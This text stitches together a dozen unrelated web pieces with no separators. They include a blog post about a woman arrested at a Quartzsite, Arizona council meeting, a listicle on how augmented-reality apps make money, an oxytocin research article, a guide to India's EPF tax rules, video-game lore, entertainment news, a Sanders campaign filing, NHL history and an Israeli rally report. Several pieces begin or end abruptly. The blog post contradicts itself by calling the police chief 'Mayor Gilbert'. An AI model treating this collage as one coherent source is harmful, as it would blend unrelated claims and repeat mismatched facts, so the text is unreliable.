This story came to my attention yesterday. I’m not sure when it occured, and this video doesn’t tell us everything that happened. All we know is this. Quartszite , AZ. resident Jennifer Jones was recognized to speak. She was then arrested by police chief Jeff Gilbert http://qsite1@ci.quartzsite.az.us over the objections of mayor Ed Foster http://efoster@ci.quartzsite.az.us when she refused the order of councilman Joe Winslow http://jwinslow@ci.quartzsite.az.us to stop talking. It would seem that while Jones had the floor Winslow made and passed a motion to make her stop. Mayor Gilbert rightly pointed out that motions cant be passed while someone has the floor, and that as chair of the meeting he alone could chose to recognize Jones right to speak or not. Chief Gilbert chose to violate evereyone in America and arrestd Ms. Jones. Meanwile the elderly towsfolk at the meeting grumbled but did nothing, perhapse because they new if the did they would end up in a hospital.
Happy Fourth of July
here is the story as presented in the description of the posted video:
Woman arrested for speaking at city council meeting in Quartszite, AZ
Originally Posted on Jul 2, 2011 Reposted by jrnookiemonster Jul 3, 2011
Quartzsite, AZ – The Mayor is challenged under a recall election beginning next month. Accusations have been made. The city council is persecuting the Mayor for giving the people a voice. The Chief of Police is also involved in the scandal.
Jennifer Jones is given the floor at a city council meeting open to the public. While she is speaking the council realizes she’s about to air their dirty laundry and quickly beckons their henchman to cart her off.
The Mayor steps in and says Jones has been recognized to speak and has not violated the council’s rules, but the council ignores him and has the woman removed even as the Mayor continues to contest. The police officers ignore the Mayor of the city and remove the woman. It’s obvious who those cops work for, and it’s not the people.
How Augmented reality works: AR apps use your current location to project virtual objects on display, or on special augmented reality glass. It provides enormous potential starting from chasing digital creatures to designing complex machines or engineering structures. It has grown rapidly over the last few years, providing new possibilities every day. Each product provides unique features to users and upgrades their life in its own way. Augmented Reality apps provide excellent user experience.
Business model: Overall, the strategy how AR apps make money isn’t much changed from the way as common apps that do. Some methods for AR apps are lost or become less attractive. Other methods for them become more convenient and some new appear. Further we shall consider the following strategy coins. And each of strategies will take the examples of applications and how they make money.
Paid AR Applications
This is the most common strategy how app developers of AR can make money. In this case they provide access to application for one-time purchase. Mostly, after payment users receive full accesses to all content and features, while also supported to app update. Usually, huge updates with new content or features (for example game addons) should be purchased separately.
Downside: Nowadays users do not want to buy “a cat in a sack”, so they avoid purchasing apps in which they are not sure. The situation can be saved by good marketing, demo version or freemium mode.
#1 Mind Map AR
Mind Map AR is the first 3D Augmented Reality mind mapping app. It is designed to help users creatively develop and grow concepts and ideas to produce more impactful results for work or study. Users can brainstorm or study in the space around them using AR.
Mind Map AR adds a whole new dimension to learning and creativity because users naturally access the brain’s inherent knack for working in a 3D world. Mind Map AR runs on any Android smartphone supporting ARCore, Google’s AR Platform.
Main Features: 3D AR mind mapping, cast to a big screen (Chromecast or Samsung Allshare), cloud attachment and hyperlink support, image nodes, custom coloring and placement, tag filtering, and a broad range of standard mind mapping capabilities.
Pro-tip: As maps get large you can use the joystick to rotate them instead of walking around them. You can also press and hold any node to set it as the new rotation point.
Monetization: Mind Map AR is free with optional premium feature pack upgrades. There are no limitations on saving or sharing of mind maps made with the free version. In-app purchases.
#2 Vortex Planetarium – Astronomy
Vortex Planetarium is a beautiful and easy app about everything on our sky and above. Tons of data including everything of the night sky contents. Thousands of stars, constellations, messier objects, caldwell objects and much more. And all of that in your smartphone opens by a simple click.
Main features: Highly configurable content. Set transparency of constellation art or tap number of stars you wish to see in the night sky.
Pro tip: Discover, at the touch of a button, upcoming celestial events such as eclipses, conjunctions, moon phases, season changes and much more.
Monetization: selling the app.
#3 Plane Finder – Flight Tracker
The top rated travel app at Google Play store. It gives you accesses to see all air traffic around the world in real time mode. Meantime the app gives you highly customized content to set everything for your needs. With Augmented Reality view you can identify planes overhead with your device camera. The app also allows to set notifications when a plane appears in the sky above you.
Main features: Application works by picking up real time ADS‐B signals. This technology is faster than a traditional radar!
Pro tip: Easy to configure; you can create, save and name as many filters as you need for comfortable use.
Monetization: selling the app.
#4 iOnRoad
A useful app that allows you to make from your smartphone a high functional device. Provide support to you with gps, traffic monitoring, video and image capturing and much more. Main Feature: use device’s native camera, GPS and sensors to detect vehicles in front of you. Alert drivers when they are in danger.
Pro tip: help you find your parking place via snapshot of your parking spot.
Recommended for: every car driver.
Monetization: selling the app.
Update: Both iOS and Android apps seem to be discontinued on app stores, unfortunately. For more details visit iOnRoad website.
Best AR apps with in-app purchases
In-app purchases provide accesses for users to virtual benefits. It may be anything like extra bonuses, addition features, premium content, game benefits or other stuff.
Consumable – purchased services or benefits may be used in a set number of times.
Non-consumable – purchased services or benefits may be used unlimited number of times.
Subscriptions are used to unlock features and content for a limited period. Example: annual news subscription.
Downside: To provide really huge profit the app should hold oppositions in a market, have good marketing and many active users. On the other side, profit will be low.
#5 Star Chart
This app provides you with info about everything what humanity already knows, about everything what is in our sky. Stars, constellations, meteors showers, comets and planets of the Solar system – all is waiting to be explored by you. Activate AR mode and rise up your camera to the sky and Star chart will tell you everything about stars, constellations, asteroids, meteor showers and comets…
Main features: Massive database stores total of over 120,000 stars, for the northern and southern hemisphere.
Monetization: selling to users availability to see comets, meteor showers etc.
#6 Dino On My Desk AR
Augmented reality based game gives you a chance to try time and pet a virtual dinosaur. Curious and cute looking dinosaur from ages past will wander on your desk. You may play with it by hands, or by taping on display screen. You may even feed it. But whatever you do – remember, it has temper!
Main features: Play and learn about prehistoric world of dinosaurs.
Pro tip: Don’t act aggressively, it has temper!
Monetization: selling virtual food for pet.
#7 Flightradar24
Top travel app in over 140 countries. Make your device turn into an air traffic radar and allow you to see planes around the world flying in real-time on a detailed map. Filters, bookmarks and search help to easily manage massive database and quickly get access to anything you need. In AR mode you can point your Android device up to the sky, and find a plane there. The app will provide you with info about it’s name, where it is going and more.
Main features: The app provides a unique experience to allow you to see what the pilot of a an aircraft sees in real-time and in 3D.
Pro tip: Make your device the arrivals and departures board of any major airport you choose and get access to real-time status updates for any flights plus current airport weather conditions.
Monetization: app sell and in-app purchase like little addition features, view the arrivals and departures board of any major airport.
#8 EmotionsAR
This app is for those who saw animated photos in Harry Potter and always wanted one for themselves. EmonionsAR provides you with exclusive chance not only to see such kind of things via your camera, but create it by yourself! What it would be? A short animated photo, or a long video story? It’s only you to choose.
Main features: Create your own photos with AR video content!
Pro tip: Try something easy at a start, before you take real challenges.
Monetization: selling coins that provides ability to create video-photos.
Best AR apps with sell premium products
While AR apps are mostly oriented to provide content with real world interaction, they make new way to earn extra funds. Applications ask users to buy additional products like books, pages, cards, with which apps can work.
Downside: As all physical purchases, they depend on delivery service (time and safety) and its limitation. On the other hand, printed products may have low quality and interact issues.
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#9 Crayola Color Alive
Application brings kids experience to interact and play with colored pages. What it would be? Merciless dragon? Stealth elf? Flying fairies? Barbie princess? Anything of that! Bring your color drawings to life with animated models that rise up from the Crayola-lined pages. Save your best characters to share with your friends and family and use them in anytime.
Main features: Tons of characters! Print free pages, or purchased packs, then color them and bring them to life.
Pro tip: Don’t lose your masterpiece! Save it!
Monetization: selling extra coloring pages with characters to interact.
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#10 AR-Animals
AR-Animals app uses Augmented reality technology to bring live paper images of animals. Just after 1-2 scan it will wander around, eat and “talk”. Unfortunately, there are no possibilities to interact, play or color AR model.
Main features: over 34 highly detailed and animated animals.
Pro tip: You may get a book if you want to see HD animated models.
Monetization: selling animal prints (or book with HD images) to interact with them.
#11 Pukka Fun
Pukka Fun allows kids to get charge with augmented reality, while staying active and creative in real world. To get the app work you should self hand color a page of the book. With 3D models of page images you can play and interact further by touching screen. Also you may save your creations to use them anytime later.
Main features: up to 30 AR Pages with unique experiences and games on each.
Pro tip: try it in company of friends, there is much less fun to use it alone.
Monetization: selling coloring book to user. As well it’s good for marketing as attracting new users to the site.
#12 Quiver
A beautiful tool to make images on paper alive. This application has a wide range of characters and locations to select from animals and cartoon characters to education pages with earth and volcano. You can interact and play with the AR characters by touching your screen. Meanwhile education pages have quiz to test your knowledge.
Main Features: Enjoy a traditional physical coloring experience and then create an AR model of it.
Pro tip: Chose only colors you like best! In the end AR model will have save colors.
Monetization: selling additionals coloring-pages.
Best AR apps with ads
Most common apps use advertising as the main source of monetization, so there is nothing special that AR apps use the same methods to make money. Developers can choose between next ways to get paid:
Pays for every time the ad is displayed to users ( Cost per impression)
Pays for every click that is made by users on the advert (Cost per click)
Native, banner and interstitial ads.
Downside: Usually, the profit from advertising is the lowest among all the methods and sometimes it annoys users.
#13 SkyView
All secrets of galaxy are in your pocket. Feel free to explore star map above your head. Discover constellations, Solar system planet and even distant galaxies. The application uses your device camera in AR mode to precisely spot and identify celestial objects in the sky, during day and night. Enjoy wonders of the night sky, explore its deepness, find beautiful places and share it with friends and family.
Main Feature: Use Time Travel option to see the future or the long past of the sky on different dates and times.
Pro tip: It would work even without internet connection and GPS function. So feel free to use it anywhere and anytime.
Monetization: showing ads time to time.
#14 Inkhunter
This app lets you do get to know how will look tattoos before they even start in real. By just putting small marks on the desired body part and scanning you may see how the tattoo would look on your skin.
Main Feature: Like nothing you in the list? Be creative! Design and upload your own tattoo!
Pro tip: Check this before ink in real.
Monetization: showing ads time to time.
#15 AR Showcase
Small application developed to show various of items in Augmented Reality mode. Beautiful and easy to use it contains highly detailed models. They appear before the camera after scanning printed page with special texture on it.
Main features: You may interact with 3D models by animating it, changing material, setting transparency.
Pro tip: You may see technical notes of the item if you are interested in it.
Monetization: showing ads time to time.
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Best “virtual store” AR apps
Sales of various things over the Internet is not unusual for a long time. However, the AR function increases the possibilities in this direction. With AR function the user can see 3D model of the selected lot from a catalog. This may be the minimized model (such as house / apartment) or model in real size (such as clothing / furniture).
The last category of stuff you may try in real world using your camera to place it whenever you want. All of these solve the biggest problem of e-market, where the buyer could not test the product. Virtual store may be the owner of AR app, or just pay commission fee to developer for each purchase via their application.
Downside: It still requires a physical purchase at the end, which takes time.
#16 IKEA Catalog
It’s more than just catalog. As any of IKEA publication this app contents inspiration, home furnishing knowledge and ideas for free. Moreover by help of your Smartphone or tablet you may get even more. It provides access to images, films and 360° room sets.
Main features: Wide assortment of various IKEA products.
Pro tip: Try Augmented Reality mode to place selected furniture in your own room before you chose to buy it.
Monetization: supporting to sell IKEA products.
#17 Lego 3D Catalogue
This app is a masterpiece for LEGO constructor fans. LEGO 3D Catalogue allows to look at new products as entertaining 3D animations and explore them from all sides. Hold device camera above catalog supported with the yellow app icon, and here you go! Among the 3D animations you will see short stories and product features. Meanwhile if you lack of printed catalog you always may look for online catalog of LEGO products.
Main features: Tons of LEGO content!
Pro tip: try the app if you are looking for something or just wandering for new ideas.
Monetization: supporting to sell Lego products.
#18 iStaging – Interior Design
Powerful tool for home design is now in your hand. Application allows you to place Augmented Reality 3D models of furnitures to preview it in your home. It doesn’t need any markers and provides examples in actual size in real time. The catalog contains a wise choice of items by various styles and from the whole world. The app also supports VR mode and may show 360° VR interior designs created by professional interior designers.
Main features: immersive number of furniture to try.
Pro tip: With support of Google Tango app provide next level of user experience.
Monetization: supporting to sell furniture.
Best AR browser apps
Most prospective applications in this section are AR browsers. Users use an app for free content and possibility to find information around them in the real world. Meantime developers provide possibilities to companies, agencies and organizations to sell their products, services or events to app users. So users also see companies advertise around them while users use camera mode for search. In cooperation with print media it allows users to see the product in 3D model, while providing “buy now” option to it.
Downside: As all new technologies, people treat it cold. That’s why users do not want to use their camera to seek information around them instead of using common browsers for the same case.
#19 Wikitude
AR browser with easy to get similar interface and start use. It may interact with many magazines, newspapers, ads, brochures, packaging, while also show users events nearby. Meanwhile content may be easily added by web-interface, so mostly data is user generated. Wikitude includes image recognition and tracking, 3D model rendering, video overlay, geo-located AR and much more.
Main features: It uses location-based content from social networks and groups data based on certain business niches and verticals.
Pro tip: If you know what you are looking for – tap it in the search box and see that in 3D model.
Monetization: Earn fee for product purchase via app use, and make money by advertising.
#20 Layar
AR app that provides wide optional for use from finding stuff nearby like restaurants, ATM, historical locations to see magazines coming alive with videos and photosets.
Main features: Have high functional set with Layar enhanced products to provide deep experience about it.
Pro tip: The app allows you to scan the posters for the world’s most popular releases. Watch the trailers, get read more information, check what the critics say.
Monetization: Earn fee for product purchase via app use, and make money by advertising.
#21 Junaio
An AR browser designed for 3G and 4G mobile devices to use. It’s developed by Munich-based company Metaio GmbH and supported Android and iPhone platforms and was free to use. But in May 2015 the company was acquired by Apple, and all Junaio channels were deactivated on 15 December 2015.
Main features: Junaio was the first augmented reality browser which had overcome the accuracy limitations of GPS navigation through LLA Markers.
Pro tip: Users could open/load the available channels inside the Junaio app to get access to the according AR contents and scenarios.
Monetization: Earn fee for product purchase via app use, and make money by advertising.
Other AR tools
There are more AR apps with business model that don’t fit in any of previous categories. Commonly, they are developed with free access to all content and functionality set. But it still has one of their own. For example, an app containing name of the company in it’s title and advertising the company brand. So the application like this isn’t developed to make money for their own, but to lobby the brand.
#22 S-GE AR
S-GE (Switzerland Global Enterprise) iOS app works all over the world to support entrepreneurs and promote Switzerland as a business location. Its role as a center of excellence for internationalization is to foster exports, imports and investments, to help clients develop new potential for their international businesses and to strengthen Switzerland as an economic hub.
Sometimes in any app market you may find completely free apps that are distributed by no cost, and have no in-app purchases, while also contain no ads. They also don’t lobby any brands or interests of any companies. It’s rarely happens, but we found some of them. Take a look.
#23 Anatomy 4D
It’s an easy, extremely detailed and interactive visual guide into the human body. Anatomy 4D gives you the experience to immerse yourself into enigmatic depths of human anatomy. It helps you see the actual interaction of different body systems by adding or removing them from display.
Main Feature: By scanning 2D images from the main menu you get complete interactive access to human body systems.
Pro tip: Use for great buff in study of biology and anatomy.
Recommended for: anyone who is deeply connected with studies of human body, or ever dreamt to start it.
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#24 WallaMe
This app provides you with a unique chance to hide private messages in public places. For now on all the world around you is your private note, and a key to it is in your pocket.
Main Feature: Just take a photo of anything around, add some stickers or freehand sketches and message your friends where you hide it.
Pro tip: Or be more public and share with the world some of your creations to make them available for anyone who uses WallaMe.
Recommended for: those one who loves to go for a walk with the smartphone in the hand.
#25 AR effect
Use AR elements to add them to your pictures or videos. Attach a funny carnival mask to your friends’ faces, make fairies walk around you, spawn a brutal dinosaur in your scene.
Main Features: Hundreds of AR elements and effects in your hand.
Pro tip: Drag items by fingers, and change them duo clicking on it.
Recommended for: everyone who wants to create a truly unique photo or a short video.
Conclusion
Augmented Reality Apps are a cool way to add enhancement to your everyday life. AR makes real life more exciting and a lot more interesting in many ways. You can interactively learn about our galaxy, history, language and navigating the world around you.
An awesome advantage is with it’s innovation in the automobile industry. There is a vast selection of apps to enhance your driving experience on the market. As well these navigation apps even allow you to still use your phone as you normally would, follow directions or even use as a road camera.
AR has a major effect on e-commerce. In effect it allows companies to bring their products to life so consumers can ‘try before they buy’ products. You can try on clothes or even outfit your living space before you buy new furniture and this takes away the guessing from shopping.
Education is a market that needs to stay innovative.Without any doubt, our younger generations are becoming more and more tech savvy earlier in life and app developers are adapting to this culture. Augmented reality has made learning more fun and interactive and spark interests.
The photo and video industry is the largest market for AR on the market. People are always looking for ways to spice up their memories. You can choose from a vast selection of themed apps to make your moments pop and with this advanced technology which can recognize features such as hands and facial features you can do so much in AR.
Feel free to contact us via jane.todavchych@thinkmobiles.com if you want to place your company here.
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Oxytocin’s positive effects are well known. Experiments have found that, in games in which you can choose to cooperate or not, people who are given more oxytocin trust their fellow players more. Clinical trials have found that oxytocin can help people with autism, who have trouble in social situations. Studies have also found that oxytocin can increase altruism, generosity, and other behaviors that are good for social life.
But the warm fuzzy side of oxytocin isn’t the whole story. “Quite a number of studies have shown it’s actually not that simple,” says Andrew Kemp of the University of Sydney, who cowrote the paper with his colleague Adam Guastella. Recent studies have found that people who were given oxytocin, then played a game of chance with a fake opponent, had more envy and gloating. These are also both social emotions, but they’re negative. “It kind of rocked the research world a little bit,” Kemp says. That led some researchers to think that oxytocin promotes social emotions in general, both negative and positive.
But Kemp and Guastella think oxytocin’s role is slightly different. Rather than supporting all social emotions, they think it plays a role in promoting what psychologists call approach-related emotions. These are emotions that have to do with wanting something, as opposed to shrinking away. “If you look at the Oxford English Dictionary for envy, it says that the definition of envy is to wish oneself on a level with another, in happiness or with the possession of something desirable,” Kemp says. “It’s an approach-related emotion: I want what you have.” Gloating is also about approach, he says; people who are gloating are happy—a positive, approach-related emotion—about having more than their opponent and about that person’s misfortune.
If Kemp and Guastella are right, that could mean that oxytocin could also increase anger and other negative approach-related emotions. That could have important implications for people who are studying how to use oxytocin as a psychiatric treatment. “If you were to take a convicted criminal with a tendency towards aggression and give him oxytocin to make him more social, and if that were to enhance anger as opposed to suppressing anger, then that has very substantial implications,” Kemp says.
For a salaried person, dependence of his family for financial matters is always a major thought of concern. An expected amount which an employee receives as his monthly salary, is not always enough to create separate pockets for savings and initiating investments. Allocation of salary becomes even difficult, when a major part of it goes to govt treasury in the form of taxes. Having pressure of various tax burdens and household expenses employees has no other option than betraying their organization for raising their monthly pay.
EPF (Employee Provident fund scheme) a proposal by finance ministry, came to be an effective solution to every employee problem in which they could them self contribute a part of their income to get invested in their future savings and also giving the employer an equal chance to fraction some monetary benefit to their employees with a return of getting effective tax saving benefit .
What is EPF?
EPF (Employee provident fund) is an amount of contribution done by the employee himself and by his associated company towards a provident fund ,which continues till the employee serves the organization and once attaining the retirement age or leaving the organization the employee receives the same as a lump sum amount for supporting his future financial needs .
Who can contribute? Why should I contribute to EPF?
As a general rule, every organization (structured with more than 20 employees),is required to be registered as an EPFO (Employee provident fund Organisation.)and to contribute a certain sum of their salary distribution to EPF.
Both employer and employee can pool 12% of the basic pay (including DA if any) to RPF(Recognized provident fund) to get EPF tax benefit , while both have the option to contribute more than 12% which is taxable as per law.
In addition to principal amount, interests on these contributions subject to lie between 8-12% which is compounded annually or monthly and sometimes rise with an economy up thrust, which provides more preference to savings in EPF than investing in other securities.. Thus in a nut shell, it is a preferable investment for securing retirement future with a financial helping hand .
What makes EPF a good tax saving option? What will happen If I withdraw from EPF?
Section 80C of IT act relies on tax benefits of EPF ,by making contribution of 12% of the basic pay ,a tax free gift to both employer and employee and giving an additional income support to this investment by levying a tax rebate on interest income of less than 8.9%( subject to change timely).
EPF Withdrawal Rules and Tax benefits
An Employee can as per his preference, leave or change his job giving any time a legible resigning reason to the organization or can retire after termination of his service period. During the course of leaving the organization, he can withdraw the PF amount by giving an application to EPF department which is receivable after certain approvals and a waiting period of approx 2 months from application.
Mostly, employees prefer to with draw their PF amount to finance their special family occasions and health emergencies, in accordance to these govt has also provided some effective ways to help them navigate their savings out of PF :-
An employee
can with draw an amount equal to 6 times his basic pay for financing medical treatment of self, children and spouse.
Can with draw 50% of the contribution for marriage of self,siblings, children (min period 7 yr service.)
Can with draw upto 24 times of salary for purchasing a plot and 36 times of his pay for constructing a new house (min period 7 yr service)
Can with draw 12 times of monthly salary for House renovation/repairs.
Can with draw a required amount before getting settled to abroad.
Can with draw upto 90% of the total savings on attainment of age 54 yr .
Other than fulfilling statutory conditions of EPF a tax paying employee is also subject to certain provisions and compliances of IT act which if complied with care can be beneficial for getting a tax saving withdrawal of EPF Savings like
Applying for EPF withdrawal after 5yrs of service commands to exemption of full amount received but if it is withdrawn before, it would be subject to a TDS deduction of 10%(on PAN submission) and upto 40% in other cases.
Making contributions to SPF (Statutory provident fund) in case of govt employees and only RPF in other cases than investing in URPFs ( Unrecognized provident fund) .
I'll never know whether there was some sort of agreement communicated among them, for the only utterances they make seem to be in that heathen tongue that I can't even pronounce, much less transcribe. In time, I learned more of their intentions towards me from their general movements and tones rather than specific words. Hostility in any creature is easily read, but in these most peculiar of the living dead, with such variations in gait and speed, what amounts to a hostile charge in one may simply be casual movement in another. The eyes seem to be key to their intent, and I will confess to more than one dream haunted by the glowing pinpoints in the darkness.
I had always wondered why the ancient priests of the dragon cult insisted that their followers be buried with them. It seems the height of pagan vanity to drag your conscripts to their death along with you, but as I integrated into their presence, I began to observe the reasons. Every day, a different set of draugr would awaken, shamble their way to the sarcophagus of their priest, and prostrate themselves before it. Several hours of this, followed by a meticulous cleaning of the area. It would appear that the adherents of the dragon priest continue their worship of him in death, which would also explain the ferocity with which they defend his chambers.
It took several weeks before I felt comfortable approaching the dragon priest's resting place, myself. Inch by inch, until the snarling draugrs [sic] around me seemed to tire of fending off my timid presence. I was able to set some simple scrying spells around the tomb, that I might get a sense of what magical energies resided there. When the next group of draugr came to pay homage to the priest, I noted a sort of transferal [sic] happening. A distinct flow of life force between the adherents and the master.
It was here that I finally understood the dragon cult's notion of resurrection. The second eternal life was only promised to those who ascended to the priesthood, but the lesser functionaries contributed their life force to sustaining them for eternity. I don't know what sort of eternal wellspring they draw from, but it's clear that each draugr carries only the barest whisper of life in it, and rekindles it nightly while resting in its niche. I now believe that the grotesque forms that we see in the barrows were, in fact, buried fully as men and women, and only over the thousands of years that have passed withered into the wretched things we know. If we had visited a barrow directly after its construction, we might not have even known any of its inhabitants were dead!
<a href="http://sachsmedia.com/rockheaven/#sthash.dnWXuQ4k.dpuf" target="_blank">Insights by Dr. Reebee Garofalo and Elijah Wald</a>: “Marley’s success was globally inspirational in a way no previous superstar had been. Had he lived, he would undoubtedly have gone beyond his collaborations with Jamaican, American and British musicians, becoming the central figure in the ‘world music’ explosion and forging new fusions with artists from Africa, Latin America and Asia. Given his international stature and his devotion to the varied styles of the African diaspora, he would have been a dream partner for stars like the Fugees and Kanye West. It is also likely he would have also attempted to use his influence beyond the musical domain, challenging the ongoing dominance of the old colonial powers and serving as a spokesman for people of color around the world.”
Created by CleverNoobNetwork, a channel dedicated to making video game walk-through guides, The Indoctrination Theory- A Documentary is almost an hour and a half in length.
What players might not understand, however, is that they might not even need a new ending at all, the narrator explains in the documentary's opening sequence.
The video supports the Indoctrination Theory behind the Mass Effect 3 ending, which essentially insinuates that Commander Shephard had been taken over by the Reapers. This means that the ending sequence may have only occurred in Shepard's mind, but if this seems confusing, players shouldn't fret. The documentary covers and analyzes all elements that could have affected the Mass Effect 3 ending.
Totaling in at over an hour and twenty minutes, this beast of a documentary goes over every single detail- big and small- and aims to prove, render plausible, or disprove each individual aspect of the theory, it says in the video's description.
Mass Effect fans have took to the BioWare social forums to discuss their opinions and reflections on the film. One player indicated that the documentary represents a critical turning point in gaming culture.
Mark my words: Videos like these are ultimately going to be a part of video gaming history. We're experiencing and taking part in an unprecedented level and depth of storytelling, a user named HellishFiend posted in the forum.
As CleverNoobNetwork points out in the video, fans and critics alike have analyzed and studied the Indoctrination Theory when deciphering the Mass Effect 3 ending. This video compiles every trace of explanation on the web, from similar videos, to blogs, forums, and more.
The narrator also said that the ending prompted BioWare to create a new downloadable content package. Mass Effect 3: Extended Cut will launch this summer and is set to include epilogue scenes and cinematic sequences. Voice actors have already headed into the studio to begin recording for the additional cut scenes, as the talent behind characters Kaidan Alenko and EDI revealed on Twitter.
The whole thing is worryingly comprehensive, and while it still doesn't make me a believer(many of the points are more likely the result from lazy/rushed development than some grand conspiracy), it's still fascinating to see how such a thing can result in such a thing, writes Luke Plunkett of Kotaku.
That issue was the handling of the Mandarin, and in an interview with Uproxx, Director Shane Black touched on the reception to the film overall, as well as that particular plot point.
"I’m a people pleaser. Marvel saw so many negative things they made a whole other movie just to apologize called Hail to the King. In which they said, “No, no, the Mandarin is still alive. That wasn’t him. There’s a real Mandarin.” The only reason they made that was an apology to fans who were so angry." Hail to the King was a Marvel One Shot that followed Actor Trevor Slattery after he was sent to prison. It is revealed that the real Mandarin is upset about the highjacking of his name, and wants to see him. Black goes on to say that initially Marvel wasn't concerned with his portrayal, but things quickly changed, saying: "Of course, they didn’t care. But when the blowback hit, they cared."
After being asked why they didn't see the blowback coming, Black responded: "No, we didn’t. We didn’t know. We all thought they’d eat it up because it never occurred to us the Mandarin is as iconic to people as, say, the Joker in Batman. They just wanted to see the magic rings shoot lasers."
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In the request sent Thursday to the Federal Election Commission (FEC), Brad Deutsch, legal counsel for the campaign, said Sanders's campaign schedule and officeholder duties are "good cause" for an extension.
The Center for Public Integrity's Dave Levinthal first reported the extension, tweeting an image of the letter to the FEC as well as reporting the agency accepted the candidate's request.
That follows another 45-day extension the campaign received in April, when it cited the same reasons in a request to the FEC.
"As the senator has noted, Jane does their taxes, and they've been a tad bit busy," campaign spokeswoman Symone Sanders told The Hill in April.
The extension will bump the deadline to the middle of August, more than two weeks after the Democrats hold their nominating convention.
There, Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE will likely receive the party's nomination for president, but Sanders has not suspended his campaign or endorsed the former secretary of State.
Sanders campaign spokesman Michael Briggs said a few weeks ago Sanders has no plans to drop out "today, or tomorrow, or the next day" and plans to stay in the race until the convention next month.
The Sanders and Clinton campaigns have met several times since she became the party's presumptive nominee earlier this month. Sanders has said he is seeking middle ground on issues including the minimum wage, campaign finance reform and higher education.
Chabot is clipped in the eye by a shot from Nels Stewart early in the second period and is unable to continue. In an era when teams don't carry their own backup goaltender, the Maroons refuse to allow the Rangers to use the backup goalie who traditionally watches from the stands. Montreal also turns down Patrick's request to use minor leaguer Hugh McCormick.
Video: Memories: Lester Patrick fills in as goalie for NYR
The Maroons figure that without a real goaltender, the Rangers are in trouble; they're already down 1-0 in the best-of-5 series. Center Frank Boucher and captain Bill Cook suggest that Patrick put on the pads, and he does.
Patrick, whose playing career in the Pacific Coast Hockey Association includes a few stints in goal during the era when a goaltender is required to serve his own minor penalties, allows the tying goal in the third period but gets the win when Boucher scores 7:05 into overtime.
The Rangers get permission from the NHL to use New York Americans' goaltender Joe Miller for the rest of the series. Montreal wins the third game, but Miller shuts out the Maroons 1-0 in Game 4 and the Rangers win their first championship with a 2-1 victory in Game 5.
MORE MOMENTS:
1927: The American Division champion Boston Bruins and the Canadian Division champion Ottawa Senators played to a 0-0 overtime tie at Boston Arena in the first all-NHL Stanley Cup Final game. It was the second scoreless tie in NHL playoff history.
1936: John Sorrell scores twice and has two assists to help the Detroit Red Wings to a 9-4 win against the visiting Toronto Maple Leafs in Game 2 of the Stanley Cup Final. The nine goals are still a record for the most scored by one team in a Final game.
1955: The Montreal Canadiens end Detroit's 15-game winning streak (nine regular-season games, six playoff games) with a 4-2 victory at the Forum in Game 3 of the Final. Bernie Geoffrion scores three of Montreal's goals.
1974: Bernie Parent earns his NHL-record 47th victory when the Philadelphia Flyers defeat the Minnesota North Stars 6-2 at the Spectrum in their regular-season finale. Parent's record lasts until Martin Brodeur of the New Jersey Devils wins 48 games in 2006-07.
On the same night, Andy Brown of the Pittsburgh Penguins becomes the last goaltender to play an NHL game without a mask. The Penguins lose 6-3 to the Atlanta Flames at the Omni in Brown's final NHL game.
1982: The Los Angeles Kings and Edmonton Oilers set a single-game Stanley Cup Playoff record by combining for 18 goals. The Kings outscore the Oilers 10-8 at Northlands Coliseum in Game 1 of the Smythe Division Semifinals. Fifteen players score at least one goal; Kings forward Charlie Simmer breaks an 8-8 tie with 5:04 left in the third period.
On the same night, the Winnipeg Jets play their first Stanley Cup Playoff game. They lose 4-3 to the St. Louis Blues at Winnipeg Arena.
1985: Mike Gartner of the Washington Capitals scores two goals and has two assists to reach the 50-goal and 100-point marks in a 7-3 win against the Penguins. Though Gartner finishes his NHL career with 708 goals and 1,335 points, it's the only season in which he has 50 goals or 100 points.
1993: The Penguins tie the NHL record for consecutive victories by winning their 15th straight game, 4-3 in overtime against the Canadiens at the Civic Arena in Pittsburgh. Rick Tocchet scores three goals in regulation for his 11th NHL hat trick, then sets up the overtime winner by defenseman Ulf Samuelsson. The Penguins equal the mark set by the 1981-82 New York Islanders (who play before overtime is reinstituted).
1999: Goaltender Patrick Roy sets an NHL record with his ninth career 30-win season when the Colorado Avalanche defeat the Nashville Predators 4-1 at Pepsi Center. Roy makes 27 saves for the victory, breaking the record of eight 30-win seasons he shares with Hockey Hall of Famer Tony Esposito.
Video: Patrick Roy won Stanley Cup four times, three Vezinas
2002: Jarome Iginla of the Calgary Flames scores twice to become the first (and only) 50-goal scorer of the 2001-02 season. Iginla reaches the 50-goal plateau for the first time in his NHL career, but the Flames lose 3-2 to the Chicago Blackhawks at United Center.
Tens of thousands of Israelis attended a rally to demand a new government Saturday night in Rabin Square. Israel Police estimated that 40,000 people attended; the event’s organizers claimed more than 80,000 people showed up.
The rally was held under the banner, “Israel wants change,” and was being billed as an anti-Benjamin Netanyahu event.
Among the speakers scheduled to take part in the event were former Mossad chief Meir Dagan, Michal Kestan-Kedar ( the widow of a lieutenant-colonel who was killed in Operation Defensive Edge), a social justice activist, journalists and others.
In his speech, Dagan told the crowd that he is more scared of Israel’s leadership than its enemies. Saying that he wants neither a bi-national state nor an apartheid state, the former Mossad chief derided the current leadership for using fear and threats to present peace as unattainable.
“To those who say we don’t have any alternative, as somebody who worked directly with three prime ministers: there is a better alternative,” Dagan said.
“Just as there are unavoidable wars there are also unavoidable elections,” the visibly ill former Mossad chief said, describing the upcoming elections as an emergency call-up that Israel cannot ignore.
Former Israeli general Amiram Levine also addressed the crowd, stressing the importance of the Arab Peace Initiative. Addressing Israeli settlers in the West Bank, Amiram argued that peace “is the only way to preserve the settlement project, the settlement blocs and to hold on to the Golan Heights.”
Both men used the word “apartheid” in their warnings of the direction Israel is headed.
The event comes 10 days before Israelis head to the polls with no clear winner predicted. Labor and Tzipi Livni’s “Zionist Camp” is showing as the largest party in most polls, although Netanyahu’s Likud is not far behind.
Behind the Zionist Camp (23) and Likud (21), the Joint List of Arab parties grew in the most recent polls to up to 15 seats, according to aggregate polling Project 61.
And that is before the addition of the Goods and Services Tax.
Luxury hotels Capella Singapore and St Regis lead the pack with a quote of $1,988 for a table on a Saturday night, often the most expensive session. Ritz-Carlton Millenia came in close at $1,878, while others like Shangri-La and InterContinental charge $1,688 and $1,588 respectively.
